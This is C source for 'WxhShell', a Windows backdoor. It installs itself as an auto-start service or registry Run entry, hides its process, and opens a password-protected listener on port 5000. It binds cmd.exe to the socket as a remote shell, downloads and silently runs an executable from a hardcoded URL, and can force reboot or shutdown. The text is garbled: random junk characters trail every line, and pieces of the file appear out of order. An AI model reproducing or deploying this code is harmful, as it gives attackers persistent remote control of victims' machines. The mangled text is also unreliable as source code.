    if(Boot(SHUTDOWN)) J{.UUw9Agd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \1LfDlQk)  
    else { o<%0|n_O&  
    closesocket(wsh); ^!d0a bA  
    ExitThread(0); S1I.l">P  
    } k=[s%O 6H  
    break; m./PRV1$x  
    } amdgb,vh  
  // 获取shell } c k <R  
  case 's': { ruGeN  
    CmdShell(wsh); M;,$ )>P  
    closesocket(wsh); ]gg(Z!|iQ  
    ExitThread(0); (wM` LE(Ks  
    break; b0YEIV<$  
  } :)D7_[i  
  // 退出 DJ@n$G`^^  
  case 'x': { (S?Y3l|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  5QLK  
    CloseIt(wsh); as!a!1  
    break; ($kw*H{Ah^  
    } \0d'y#Gp*  
  // 离开 ,aLwOmO  
  case 'q': { )0iN2L]U;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .1jiANY  
    closesocket(wsh); 8\!E )M|4  
    WSACleanup(); BjsT 9?6W/  
    exit(1); qSB&Q0T  
    break; J (?qk  
        } * dw.Ug  
  } bY=[ USgps  
  } R-j*fO}  
Jp_#pV*}:  
  // 提示信息 >>,G3/Zd*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F{!pii5O9  
} No} U[u.O  
  } z__?kY  
|Z<\kx  
  return; n)98NSVDbT  
} ,`Y$}"M4  
>*8V]{f9  
// shell模块句柄 SXZ9+<\  
int CmdShell(SOCKET sock) 1QG q;6\  
{ ]FZPgO'G  
STARTUPINFO si; y'`/^>.  
ZeroMemory(&si,sizeof(si));  '2*OrY  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a @2fJ}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [i /!ovcY  
PROCESS_INFORMATION ProcessInfo; H{vKk  
char cmdline[]="cmd"; lQHF=Jex  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); LWT\1#  
  return 0; dY S(}U  
} !T][c~l  
`.@sux!lu  
// 自身启动模式 0DmA3  
int StartFromService(void) xBVOIc[4(  
{ z6C(?R  
typedef struct AtG~!)hG  
{ _ (F-(X|  
  DWORD ExitStatus; )6C+0b*  
  DWORD PebBaseAddress; dHXe2rTE;&  
  DWORD AffinityMask; eMC^ORdY  
  DWORD BasePriority; 8YQuq.(>a  
  ULONG UniqueProcessId; QMsq4yJ)%  
  ULONG InheritedFromUniqueProcessId; fUkqhqe  
}   PROCESS_BASIC_INFORMATION; 0X5cn 0L^  
B/1j4/MS  
PROCNTQSIP NtQueryInformationProcess; Oh*~+/u}q  
r |C.K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {fzX2qMZ]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bGH#s {'5  
j)mU`b_  
  HANDLE             hProcess; A~bSB n: '  
  PROCESS_BASIC_INFORMATION pbi; _|#abLh%  
0%rDDB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); dZ`Y>wH_  
  if(NULL == hInst ) return 0; P_1WJ  
%Hbq3U30  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); WzN c=@[W  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6:#o0OeBP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); O8@65URKx  
Ayw_LCUD  
  if (!NtQueryInformationProcess) return 0; {5E8eQ  
J[ Gpd  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); SKL4U5D{  
  if(!hProcess) return 0; K$,Zg  
5wx_ol}2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JY#vq'dl|  
X3:z=X&Zd  
  CloseHandle(hProcess); _-_iw&F  
$*#^C;7O  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )4 4Y`v  
if(hProcess==NULL) return 0; *OG<+#*\_?  
i-OD"5a`  
HMODULE hMod; c,~uurVi  
char procName[255]; bkV<ZUW|;  
unsigned long cbNeeded; >zW2w2O3  
j ~-N2b6z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xSmG,}3mF  
k4K. ml IO  
  CloseHandle(hProcess); avRtYL  
cAW}a  
if(strstr(procName,"services")) return 1; // 以服务启动 Vke<; k-  
xpR`fq  
  return 0; // 注册表启动 1&=)Bxg4  
} Ek)drt7cy  
t{]Ew4Y4%O  
// 主模块 U6M ~N0)Yr  
int StartWxhshell(LPSTR lpCmdLine) VhUWws3E  
{ m^3x%ENZ  
  SOCKET wsl; \)~d,M}kK  
BOOL val=TRUE; el9P@r0  
  int port=0; mAW.p=;  
  struct sockaddr_in door; r N$0qo  
g-sNYd%?a  
  if(wscfg.ws_autoins) Install(); /4an@5.\C  
p3=Py7iz  
port=atoi(lpCmdLine); m)tu~ neM  
JQ1MuE'  
if(port<=0) port=wscfg.ws_port; ]/=RABi  
S0^a)#D &  
  WSADATA data; 7S a9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; C t,p  
^^N|:80  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Jl~ *@0(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ( eTrqI`  
  door.sin_family = AF_INET; zC2:c"E I  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); BPO5=]W 7  
  door.sin_port = htons(port); X0;u7g2Yz  
}(nT(9|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !?P8[K  
closesocket(wsl); Nm?^cR5r  
return 1; dR S:S_  
} |4df)  
xb,d,(^]R  
  if(listen(wsl,2) == INVALID_SOCKET) { )^ah, ;(  
closesocket(wsl); [CJ<$R !  
return 1; ^K?-+  
} q?}C`5%D  
  Wxhshell(wsl); iW` tr  
  WSACleanup(); Ln h =y2  
>C|pY6  
return 0; 2RkW/) A9  
+fKOX#%  
} 6.D|\;9{c  
cpdESc9W  
// 以NT服务方式启动 W8d-4')|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _Si=Jp][  
{ ?})A-$f ~  
DWORD   status = 0; i>Q!5  
  DWORD   specificError = 0xfffffff; dCd~]CI  
<\&9Odqc  
  serviceStatus.dwServiceType     = SERVICE_WIN32; TR DQ+Z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; I&1Lm)W&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; YYe G9yR  
  serviceStatus.dwWin32ExitCode     = 0; P.]h`4  
  serviceStatus.dwServiceSpecificExitCode = 0; =^4Z]d  
  serviceStatus.dwCheckPoint       = 0; ;st0Ekni)  
  serviceStatus.dwWaitHint       = 0; r<vMp'u  
{kpF etXt?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); z?o8h N\  
  if (hServiceStatusHandle==0) return; X8)k'h  
4IeCb?  
status = GetLastError(); l f>/  
  if (status!=NO_ERROR) k =! Q  
{ {MgRi 7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b84l`J  
    serviceStatus.dwCheckPoint       = 0; yvd)pH<a2  
    serviceStatus.dwWaitHint       = 0; 5BVvT `<  
    serviceStatus.dwWin32ExitCode     = status; Q~N,QMr)k&  
    serviceStatus.dwServiceSpecificExitCode = specificError; sINQ?4_8T  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); j"qND=15  
    return; Nfa&r  
  } 5XKTb  
\,#$,dUXD  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; l\UjvG  
  serviceStatus.dwCheckPoint       = 0; mwAN9<o  
  serviceStatus.dwWaitHint       = 0; }S> 4.8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [Hh-F#|R  
} b>-DX  
n~^SwOt~;5  
// 处理NT服务事件,比如:启动、停止 pfN(Ae Pt  
VOID WINAPI NTServiceHandler(DWORD fdwControl) QG5WsuT  
{ <*( Z}p  
switch(fdwControl) Kip&YB%rk  
{ luoQ#1F?sl  
case SERVICE_CONTROL_STOP: Aw#<:6-  
  serviceStatus.dwWin32ExitCode = 0; _uIS[%4g  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; FZi@h  
  serviceStatus.dwCheckPoint   = 0; Sm'Tz&!  
  serviceStatus.dwWaitHint     = 0; CRb*sfKDL  
  { mnpk9x}m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X-["{  
  } $bTtD<a  
  return; [IYVrT&C'  
case SERVICE_CONTROL_PAUSE: c1f"z1Z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :33@y%>L  
  break; @Xo*TJB  
case SERVICE_CONTROL_CONTINUE: PT/Nz+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; I6.rN\%b  
  break; -UhpPw 6  
case SERVICE_CONTROL_INTERROGATE: FGV L[\  
  break; Q}AZkZ  
}; q`<vY'&1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <[dcIw<7  
} v) n-  
s$M(-"mg  
// 标准应用程序主函数 '09|Y#F  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (y9KO56.V&  
{ dFz"wvu` o  
9?l a5  
// 获取操作系统版本 dtTn]}J  
OsIsNt=GetOsVer(); 3TwjC:Yhv2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); VF?H0}YSHb  
'/>Mr!H#  
  // 从命令行安装 Wiis<^)  
  if(strpbrk(lpCmdLine,"iI")) Install(); sfXFh  
ZM<6yj"f  
  // 下载执行文件 P $`1}  
if(wscfg.ws_downexe) { J^7m?mA  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Dz}i-tw+  
  WinExec(wscfg.ws_filenam,SW_HIDE); [ws _ g,/  
} &N} "4  
e9LX0=  
if(!OsIsNt) { ~` tuPk~l  
// 如果时win9x,隐藏进程并且设置为注册表启动 0Ui.nz j  
HideProc(); $TUYxf0q  
StartWxhshell(lpCmdLine); GHv6UIe&  
} x=*&#; Y|  
else !ku}vTe  
  if(StartFromService()) 'kd}vq#|  
  // 以服务方式启动 63fYX"  
  StartServiceCtrlDispatcher(DispatchTable); )@wC6Ij  
else e;.,x 5+  
  // 普通方式启动 X$kLBG_  
  StartWxhshell(lpCmdLine);  ~~>m  
!5*VBE\  
return 0; p4VARAqi  
} I*rUe#$  
kvbZx{s  
!JCs'?A  
7By7F:[b  
=========================================== ? |M-0{  
v-8>@s jy8  
OUulG16kK  
x1gS^9MqCB  
lSX1|,B7:]  
Q>1BOH1by  
" Z=Y29V8  
<nk|Z'G E  
#include <stdio.h> Nc+0_|,  
#include <string.h> >G`p T#  
#include <windows.h> hUMG}<  
#include <winsock2.h> c9/w{}F  
#include <winsvc.h> JH?ohA  
#include <urlmon.h> Cv#aBH'N  
T~UDD3  
#pragma comment (lib, "Ws2_32.lib") +5y^c |L0  
#pragma comment (lib, "urlmon.lib") ";/]rwHa)  
}c,b]!:  
#define MAX_USER   100 // 最大客户端连接数 TEV DES  
#define BUF_SOCK   200 // sock buffer Z`-$b~0  
#define KEY_BUFF   255 // 输入 buffer ?1=.scmgDG  
k{vj,#  
#define REBOOT     0   // 重启  +/B  
#define SHUTDOWN   1   // 关机 ?N{\qF1Mz  
S m(*<H  
#define DEF_PORT   5000 // 监听端口 X'OpR   
k0Vri$x  
#define REG_LEN     16   // 注册表键长度 J jAxNviG  
#define SVC_LEN     80   // NT服务名长度 WuK<?1meN  
V!:!c]8F  
// 从dll定义API e:G~P u`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); > .wZEQ6QK  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3Zp<#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <#0i*PM_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Qa2h#0j  
}IygU 6{G  
// wxhshell配置信息 Dw i-iA_q  
struct WSCFG { 'aNkU  
  int ws_port;         // 监听端口 Pt"K+]Ym  
  char ws_passstr[REG_LEN]; // 口令 h8V*$  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,:Px(=d4  
  char ws_regname[REG_LEN]; // 注册表键名 Yn?beu'  
  char ws_svcname[REG_LEN]; // 服务名 1Ek3^TOv7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 u7e$Mq  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 VxY]0&sq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3,p!Fun:r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Z `F[0-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Fo3*PcUv  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *~8F.c x  
O?vh]o  
}; Z}O]pm>=G  
qGX@mo({  
// default Wxhshell configuration h3F559bw/<  
struct WSCFG wscfg={DEF_PORT, $:s@nKgnD~  
    "xuhuanlingzhe", bidFBldKl  
    1, bd /A0i?C  
    "Wxhshell", a8xvK;`  
    "Wxhshell", i[z 2'tx4  
            "WxhShell Service", 6 lzjaW5h  
    "Wrsky Windows CmdShell Service", JE O$v|X  
    "Please Input Your Password: ", (aYu[ML  
  1, ?e9tnk3  
  "http://www.wrsky.com/wxhshell.exe", 21!X[) r  
  "Wxhshell.exe" ..yV=idI  
    }; f`4=Bl&"{  
jI,[(Z>  
// 消息定义模块 %; &lVIU0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &S="]*Z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _qB ._  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Zv yZ5UA  
char *msg_ws_ext="\n\rExit."; B~:yM1f@u4  
char *msg_ws_end="\n\rQuit."; 4j3q69TZR  
char *msg_ws_boot="\n\rReboot..."; 'bbw0aB4  
char *msg_ws_poff="\n\rShutdown..."; bg~CV&]M  
char *msg_ws_down="\n\rSave to "; hP:>!KJ  
u-~ec{oBu  
char *msg_ws_err="\n\rErr!"; DVd8Ix<  
char *msg_ws_ok="\n\rOK!"; ";.j[p:gi  
Hec8pL  
char ExeFile[MAX_PATH]; WSpF/Wwc  
int nUser = 0; -UEi  
HANDLE handles[MAX_USER]; _sy{rnaqvb  
int OsIsNt; 4`?PtRX  
5=;cN9M@  
SERVICE_STATUS       serviceStatus; |ts0j/A]Pi  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]{=y8]7  
-gGw_w?)(  
// 函数声明 M2%@bETJ  
int Install(void); jNxTy UU  
int Uninstall(void); =*fq5v  
int DownloadFile(char *sURL, SOCKET wsh); #GGa,@O  
int Boot(int flag); xn, u$@F  
void HideProc(void); <?A4/18K  
int GetOsVer(void); 7fq Q  
int Wxhshell(SOCKET wsl); <^nS%hXEr  
void TalkWithClient(void *cs); ]Q FI>  
int CmdShell(SOCKET sock); A"r<$S6  
int StartFromService(void); o"Xv)#g&  
int StartWxhshell(LPSTR lpCmdLine); ?[#w*Am7  
0$Tb5+H5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :G6CWE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Fepsa;\sU  
ksq4t  
// 数据结构和表定义 n\;;T1rM  
SERVICE_TABLE_ENTRY DispatchTable[] = pYcs4f!?p  
{ #j7&2L  
{wscfg.ws_svcname, NTServiceMain}, Q>L(=j2t  
{NULL, NULL} [%^0L~:  
}; QE/kR!r  
";dS~(~  
// 自我安装 \asn^V@"zz  
int Install(void) 2lfEJw($  
{ &wDZ@{h  
  char svExeFile[MAX_PATH]; <e! TF @  
  HKEY key; 8$c) ]Bv  
  strcpy(svExeFile,ExeFile); hXFT(J=  
xjBY6Ylz  
// 如果是win9x系统,修改注册表设为自启动 7&,$  
if(!OsIsNt) { ZeG4z({af  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =m<b+@?T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); io\t>_  
  RegCloseKey(key); EkV#i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :Xy51p`.;]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NcbW"Qv3  
  RegCloseKey(key); Z>UM gu3c  
  return 0; ;8=Bee4  
    } ,#N}Ni:  
  } ~NE`Ad.G  
} 6 JI8l`S  
else { @D[+@N  
&@xm< A\S  
// 如果是NT以上系统,安装为系统服务 ?Xpk"N7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i~E0p ,  
if (schSCManager!=0) U;kN o3=  
{ fhn$~8[_A  
  SC_HANDLE schService = CreateService 6  _V1s1F  
  ( }#tbK 2[  
  schSCManager, dB~A4pZa  
  wscfg.ws_svcname, ;^JMX4[  
  wscfg.ws_svcdisp, 3\ ]j4*i!  
  SERVICE_ALL_ACCESS, cRs\()W  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $$Tf1hIg  
  SERVICE_AUTO_START, DI(XB6  
  SERVICE_ERROR_NORMAL, ]Ky`AG`2~  
  svExeFile,  N MkOx$  
  NULL, VN09g&  
  NULL, }@.@k6`n  
  NULL, (mbm',%-(  
  NULL, Dy5&-yk  
  NULL jHob{3  
  ); Mi NEf  
  if (schService!=0) ouyZh0 G  
  { y%9Hu  
  CloseServiceHandle(schService); .5>]DZn6  
  CloseServiceHandle(schSCManager); )" Z|x  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^7Z? }tgU  
  strcat(svExeFile,wscfg.ws_svcname); 1Z?uT[kR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;TC]<N.YJT  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;9#%E  
  RegCloseKey(key); B*)mHSs2  
  return 0; H/*slqL  
    } Hi2JG{i  
  } @/N]_2@8;  
  CloseServiceHandle(schSCManager); 14l6|a  
}  ngJ{az  
} ]):>9q$C  
' Hj([N  
return 1; fg ,vTpBk  
} <}.!G>X  
45BpZ~-  
// 自我卸载 +_ 8BJ  
int Uninstall(void) 3xRn  
{ a; a1>1  
  HKEY key; }s"].Xm^2  
C \5yo  
if(!OsIsNt) { nxEC6Vh'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b%x=7SMXO  
  RegDeleteValue(key,wscfg.ws_regname); XL44pE m  
  RegCloseKey(key); %S`Wu|y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4K HIUW$  
  RegDeleteValue(key,wscfg.ws_regname); KbciRRf!k  
  RegCloseKey(key); ,c`Wmp^AY  
  return 0; Gh6U<;V?*  
  } Kc@Sw{JR#7  
} ZmkH55Cn  
} !]fSS)\H  
else { XR<g~&h  
N_FjEZpX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,y-!h@(  
if (schSCManager!=0) ? 47"$=G  
{ o:*$G~. k  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); V@y&n1?6  
  if (schService!=0) (+xT5 2  
  { mBB"e"o  
  if(DeleteService(schService)!=0) { X,lhVT |  
  CloseServiceHandle(schService); t+pA9^$[ `  
  CloseServiceHandle(schSCManager); `WMU'ezF  
  return 0; NU'2QSU8  
  } \R-'<kN.*  
  CloseServiceHandle(schService); JSylQ201  
  } {md5G$* %  
  CloseServiceHandle(schSCManager); MLi aCG;  
} q-@&n6PEOZ  
} p Djt\R<f  
y\CxdTs  
return 1; 9GT}_ ^fb  
} Gr}NgyT<!D  
B+jh|@-  
// 从指定url下载文件 PQ;9iv  
int DownloadFile(char *sURL, SOCKET wsh) B>I :KGkV  
{ _d^d1Q}V  
  HRESULT hr; +BhJske  
char seps[]= "/"; $tc1 te  
char *token; |#BN!kc  
char *file; ^xScVOdP  
char myURL[MAX_PATH]; ?|Z~mE  
char myFILE[MAX_PATH]; l+wfP76w  
0N]\f.=`  
strcpy(myURL,sURL); GJU9[  
  token=strtok(myURL,seps); q<^MC/]  
  while(token!=NULL) 9; 9ge  
  { g HxRw  
    file=token; X f;R'a,$  
  token=strtok(NULL,seps); k}qCkm27  
  } sk:B; .z  
4hfq7kq7(  
GetCurrentDirectory(MAX_PATH,myFILE); O~?d;.b  
strcat(myFILE, "\\"); %h,&ND  
strcat(myFILE, file); P0sAq7"  
  send(wsh,myFILE,strlen(myFILE),0); @A`j Wao  
send(wsh,"...",3,0); c/j+aj0.v  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6kAGOjO  
  if(hr==S_OK) @w(|d<5l:L  
return 0; 1*6xFn  
else 9&6P,ts%Q  
return 1; H?ug-7k/  
\hEIQjfi  
} ly_8p63-  
XWNo)#_3  
// 系统电源模块 2AMb-&po&f  
int Boot(int flag) QctzIC#;k  
{ 8\C][ y  
  HANDLE hToken; _ShWCU-~Z  
  TOKEN_PRIVILEGES tkp; <c<!|<x  
fz8 41 <Y  
  if(OsIsNt) { B~@Gfb>`'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .A_R6~::  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @SaxM4  
    tkp.PrivilegeCount = 1; ;n|%W,b-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &m\Uc  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); oSjYp(h:  
if(flag==REBOOT) { 0ZLLbEfnPB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4pelIoj  
  return 0; ^K4?uABc  
} >vYb'%02  
else { C(8!("tU  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1;B&R89}  
  return 0; m],.w M8  
} Bu?Qyz2O  
  } E'6/@xM  
  else { 8A::q;  
if(flag==REBOOT) { jaavh6h)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \!w |  
  return 0; t. (6tL]  
} =8rNOi  
else { {9Ok^O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) JBZ1DZAWC  
  return 0; f/\S:x-B  
} 7[K3kUm[  
} BJ'pe[Xa5  
zKaj<Og  
return 1; |b^UPrz)VS  
} $A/?evJi8R  
d%nX;w,  
// win9x进程隐藏模块 1A#/70Mo  
void HideProc(void) OQKc_z'"  
{ ,q7FK z{  
Zu>-y#Bw  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u86@zlzd  
  if ( hKernel != NULL ) 28c6~*Te #  
  { e{XzUY6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Rh$+9w  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); y7rT[f/J  
    FreeLibrary(hKernel); s aHY9{)  
  } BgDWl{pm  
x%[NK[^&  
return; hsYE&Np_Q  
} .=d40m  
PyK!Cyq  
// 获取操作系统版本 \IudS{ .?;  
int GetOsVer(void) M`@ASL:u  
{ Xh3b=i|K  
  OSVERSIONINFO winfo; z}7}D !  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); hn/yX|4c(  
  GetVersionEx(&winfo); &@BAVc z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ai^0{kF6  
  return 1; JL{fW>5y|  
  else J~oxqw}  
  return 0; 2dHsM'ze  
} x'OP0],#  
* {~`Lw)y  
// 客户端句柄模块 +9pock  
int Wxhshell(SOCKET wsl) DnG9bVm>  
{ z}Us+>z+jc  
  SOCKET wsh; #T{)y  
  struct sockaddr_in client; F+ RE  
  DWORD myID; b35 3+7"|  
C~"UOFX  
  while(nUser<MAX_USER) 2i !\H$u`  
{ ~ F-lO1  
  int nSize=sizeof(client); SXO.|"M  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I3'UrKKO  
  if(wsh==INVALID_SOCKET) return 1; ZitmvcMk  
~ISY( &  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :xbj& l  
if(handles[nUser]==0) =YfzB!ld  
  closesocket(wsh); j(K)CHH  
else FU J<gqL  
  nUser++; rwio>4=  
  } $/@  L  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); EA9.?F  
EE`[J0 (  
  return 0; euRKYGW  
} GRVF/hPn  
BSB&zp  
// 关闭 socket q bCU&G|)  
void CloseIt(SOCKET wsh) f1elzANy  
{ :PY6J}:&#  
closesocket(wsh); 7zA+UWr  
nUser--; [u^ fy<jdp  
ExitThread(0); {.[EXMX  
} G -K{  
^;9l3P{  
// 客户端请求句柄 =n_z`I  
void TalkWithClient(void *cs) ,oSn<$%/q  
{ qN9 ?$\  
F7nwV Dc*  
  SOCKET wsh=(SOCKET)cs; }A;YM1^$  
  char pwd[SVC_LEN]; F< 5kcu#iL  
  char cmd[KEY_BUFF]; ;T8(byH ?  
char chr[1]; S#HeOPRL  
int i,j; @'GPZpbvZ  
F?6Q(mRl  
  while (nUser < MAX_USER) { (NDC9Lls  
J4U_utp  
if(wscfg.ws_passstr) { G51-CLM,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7/k7V)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /"m#mh L  
  //ZeroMemory(pwd,KEY_BUFF); ?z6K/'?  
      i=0; ja/wI'J<  
  while(i<SVC_LEN) { eH!V%dX  
{D :WXvI  
  // 设置超时 6A|XB3  
  fd_set FdRead; 2Oyw#1tdn  
  struct timeval TimeOut; ["Tro;K#  
  FD_ZERO(&FdRead); #CAZ}];Qx  
  FD_SET(wsh,&FdRead); _*8 6  
  TimeOut.tv_sec=8; C!9mygI  
  TimeOut.tv_usec=0; #w\x-i|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >9i>A:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7ncR2-{g  
pR=R{=}wV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A{k1MA<F6  
  pwd=chr[0]; < 3*q) VT  
  if(chr[0]==0xd || chr[0]==0xa) { S')DAx  
  pwd=0; hA1B C3  
  break; Z]bG"K3l  
  } ^,vFxN--q  
  i++; !Fxn1Z,  
    } +]NpcE'  
W&D{0i`y  
  // 如果是非法用户,关闭 socket #R31V QwK5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :%j"l7=>  
} )Y'g;  
ZNk[Jn [.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,/TmTX--d  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NZADHO@0  
.f. tPm  
while(1) { nN@ Ch  
E_[a|N"D  
  ZeroMemory(cmd,KEY_BUFF); z8%qCq  
zSk`Ou8M  
      // 自动支持客户端 telnet标准   %[9ty`UE  
  j=0; MtF0/aT  
  while(j<KEY_BUFF) { lcy+2)+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NV?XZ[<*<  
  cmd[j]=chr[0]; J kAd3ls  
  if(chr[0]==0xa || chr[0]==0xd) { 9^N(s7s  
  cmd[j]=0; s|c}9/Xe)  
  break; OpU9:^ r  
  } s'l|Ii  
  j++; \w1',"l`  
    } ?OoI6 3&  
Z)=S>06X Q  
  // 下载文件 ePIN<F;I  
  if(strstr(cmd,"http://")) { ydY 7 :D  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $UK m[:7  
  if(DownloadFile(cmd,wsh)) CyHHV  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !O}e)t  
  else B B'qbX3xK  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @OUBo;/  
  } m-;8O /  
  else { }Y!s:w#  
xN}f?  
    switch(cmd[0]) { F1B/cd  
  Q*1'k%7  
  // 帮助 @p^EXc*|  
